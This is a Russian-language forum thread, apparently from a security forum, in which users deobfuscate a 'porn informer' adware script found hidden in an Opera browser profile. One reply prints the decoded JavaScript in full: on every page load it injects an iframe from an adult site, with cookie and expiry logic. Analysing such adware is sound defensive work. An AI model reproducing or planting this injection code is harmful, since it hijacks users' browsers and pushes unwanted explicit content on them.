JS Порно информер в опере

Discussion in 'PHP' started by Romaxa55, 7 May 2009.

  1. Romaxa55

    Romaxa55 Banned

    Joined:
    19 Oct 2005
    Messages:
    144
    Likes Received:
    30
    Reputations:
    4
    Ребята, есть кто силев в js? Информер распаковывает себя в папке профиля Оперы под именем feeder

    Содержит следующий код:
    Точно уверен что прогрузка информера идет не из кеша а с домена, но как видите зашифрован. Есть такие кто справится с декодированием js?
     
  2. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    Код не зашифрован,он обфускирован.Тоесть запутан специально,замени имена переменных, имеющие длинные имена,на короткие.
     
  3. Romaxa55

    Romaxa55 Banned

    Joined:
    19 Oct 2005
    Messages:
    144
    Likes Received:
    30
    Reputations:
    4
    Понял, можно не большой пример, как выразился тяжек для меня js... Там скорей всего чисто iframe...
     
  4. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    809
    Reputations:
    231
    Code:
    var month_period = 30;
    var is_expired = false;function get_current_time(){d = new Date();return d.getTime()/(24*60*60*1000);}
    function fn_is_expired(){r = get_current_time() - __di / (24 * 60 * 60);
    if (r > month_period) {return true;}else{return false;}}
    function fn_getCookie(page, name){var prefix = name + "=";var cookieStartIndex = page.cookie.indexOf(prefix);
    if (cookieStartIndex == - 1) {return null;}
    var cookieEndIndex = page.cookie.indexOf(";", cookieStartIndex + prefix.length);
    if (cookieEndIndex == - 1) {cookieEndIndex = page.cookie.length;}
    return unescape(page.cookie.substring(cookieStartIndex + prefix.length, cookieEndIndex));}
    function fn_setCookie(page, name, value, expires, path, domain, secure){
    var curCookie = name + "=" + escape(value) + ((expires) ? "; expires=" + expires.toGMTString() : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");
    page.cookie = curCookie;}if (fn_is_expired()) {is_expired = true;}
    function fn_informer(e){if ( e.event.target instanceof Document ) 
    {if (is_expired) {return;}try {if (self.parent != self) {return;}}catch (exc) {return;}var corps = window.document.getElementsByTagName("body");
    if (!corps || !corps[0]) {return;}if (fn_getCookie(window.document, "_imac") == "JFYDEKR47HE") {disable_extension();return;}
    corps[0].innerHTML = corps[0].innerHTML + '<style type="text/css">#topbar_informer{position:fixed;left:0px;top:10px;width:800px;padding:0px;z-index:10000;color:#000000;}</style><div id="topbar_informer" style="padding:0;margin:0;border:0"><iframe frameBorder="0" scrolling="no" style="width:800px;height:200px;margin:0;padding:0" src="http://sexvideorussia.com/fcontent/index.html"></iframe></div>';
    var el = window.document.getElementById("topbar_informer");y = innerHeight - el.clientHeight;el.style.top = y + "px";
    el.style.left = (innerWidth - el.clientWidth - 5) + "px";urlDjin = "sexvideorussia.com";urlCompare = window.document.location.host;
    urlCompare = urlCompare.toLowerCase();if (urlCompare.indexOf(urlDjin) != - 1) {d = new Date();fn_setCookie(window.document, "_imac", d.getTime());}}}
    window.opera.addEventListener( 'AfterEvent.load',fn_informer,false);
    
     
    _________________________
    1 person likes this.
  5. Romaxa55

    Romaxa55 Banned

    Joined:
    19 Oct 2005
    Messages:
    144
    Likes Received:
    30
    Reputations:
    4
    Спасибо ОГРОМНО, то что нужно!!!!
     
  6. Fristail

    Fristail Elder - Старейшина

    Joined:
    25 Oct 2007
    Messages:
    207
    Likes Received:
    145
    Reputations:
    10
    скачай декомп